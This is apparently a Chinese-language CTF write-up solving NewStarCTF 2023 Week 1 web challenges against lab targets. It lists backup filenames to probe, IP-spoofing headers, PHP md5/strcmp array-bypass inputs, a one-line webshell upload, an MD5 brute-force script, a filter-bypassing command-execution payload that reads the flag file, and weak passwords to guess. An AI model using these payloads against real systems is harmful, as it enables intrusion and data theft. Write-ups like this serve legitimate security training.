NewStarCTF_2023

  1. WEEK1
    1. web
      1. 泄漏的秘密
      2. Begin of Upload
      3. Begin of HTTP
      4. ErrorFlask
      5. Begin of PHP
      6. R!C!E!
    2. EasyLogin

WEEK1

web

泄漏的秘密

题目提示泄露了一些敏感信息在Web根目录下

打开后猜测备份压缩文件名,这题的是www.zip

下载后flag在robots.txt和index.php文件里,拼接起来即可

常见备份文件后缀:

.index.php.swp
index.php.swp
index.php.bak
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
www.zip
www.rar
www.zip
www.7z
www.tar.gz
www.tar
web.zip
web.rar
web.zip
web.7z
web.tar.gz
web.tar
wwwroot.rar
web.rar

Begin of Upload

这道题直接上传一句话木马文件即可,没有过滤

Begin of HTTP

直接抓包:

先是让给ctf用get方式传参,随便传一个

然后给secret用post方式从传参,传源代码中隐藏的一个值,要进行base64解码后再传(注意burp发包的时候哟要将请求头改为POST)

第三步将power的值改为ctfer

第四步将User-Agent的值改为NewStarCTF2023

第五步添加一个请求首部Referer: newstarctf.com

最后一步构造一个伪造ip首部 X-Real-IP: 127.0.0.1(试了一下只有这个可以)

Origin 指示了请求来自于哪个站点,只有服务器名,不包含路径信息
Referer 指示了请求来自于哪个具体页面,包含服务器名和路径的详细URL
X-Forwarded-For是告诉服务器当前请求者的最终ip

常见的可替换X-Forwarded-For的首部:

X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
True-Client-Ip: 127.0.0.1
Proxy-Client-IP: 127.0.0.1

ErrorFlask

这关实际和Flask模板注入没关系,传入number1和number2即可再页面中找出flag

Begin of PHP

这题有五个关卡:

1、if($_GET[‘key1’] !== $_GET[‘key2’] && md5($_GET[‘key1’]) == md5($_GET[‘key2’]))

很常见,直接用数组绕过

key1[]=1&key2[]=3

2、if(md5($_POST[‘key3’]) === sha1($_POST[‘key3’]))

还是直接用数组绕过

key3[]=3

3、if(strcmp($_GET[‘key4’],file_get_contents(“/flag”)) == 0)

4、if(!is_numeric($_GET[‘key5’]) && $_GET[‘key5’] > 2023)

这里传key5=2024abc就可以了

5、第五个关卡里extract函数的功能是从数组中将变量导入到当前的符号表,简单的说就是将数组的键名转换为变量名,将数组的值转换为变量的值

直接传个flag5=*就可以

R!C!E!

题目的意思是让你找到一个字符串,经过md5加密后的字符串前6位是c4d038

这里就只能写个脚本跑一下

import hashlib
dic="0123456789abcdefghijklmnopqrstuvwxyz"
flag="c4d038"
def md5():
    for a in dic:
        for b in dic:
            for c in dic:
                for d in dic:
                    for e in dic:
                        t=str(a+b+c+d+e)
                        md5=hashlib.md5(t.encode('utf-8')).hexdigest()
                        if(md5[0:6]==flag):
                            print(t)
                            return
md5()

跑出一个04p9l

然后命令执行过滤了一些命令,但问题不大

用``替代system函数,用f’l’ag绕过flag

payload password=04p9l&e[v.a.l=echo `c'a't /f'l'ag`;

官方题解:

POST:e[v.a.l=var_dump(file_get_contents($_GET['a']));\
GET:a=/flag

EasyLogin

看了一下官方题解

进入之后是一个登录界面,先随便注册一个账号登进去看看。

进入之后是一个登录界面,先随便注册一个账号登进去看看。

Ctrl+D回到 Shell,简单看了下目录结构没有什么东西,只告知了含有一个 admin 用户,按方向上键可以查询Bash历史记录。

发现 Hint,第一句意思是将“newstar”和“newstar2023”这两个密码加入弱密码文件,第二句意思是将将密码设为密码文件中的任意一个。

得知 admin 的密码为弱密码加上newstar newstar2023后其中的一个。

CtrlD或者输入exit后回车回到登录界面。

试一下newstar``newstar2023,没登进去,在网上随便搜弱密码,试一些常见的,试出来是000000,不同的靶机密码可能不一样。

题目采用的弱密码表

123456789
password
newstar
newstar2023
123qwe
qwe123
qwertyuiop
asdfghjkl
zxcvbnm
admin123
admin888
111111
000000

查询历史记录只提示了使用BurpSuite,尝试抓包。

使用BurpSuite拦截、开启代理,重新完成一次登录,发现一个/passport的 302 跳转,查看它的响应获取 flag.


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。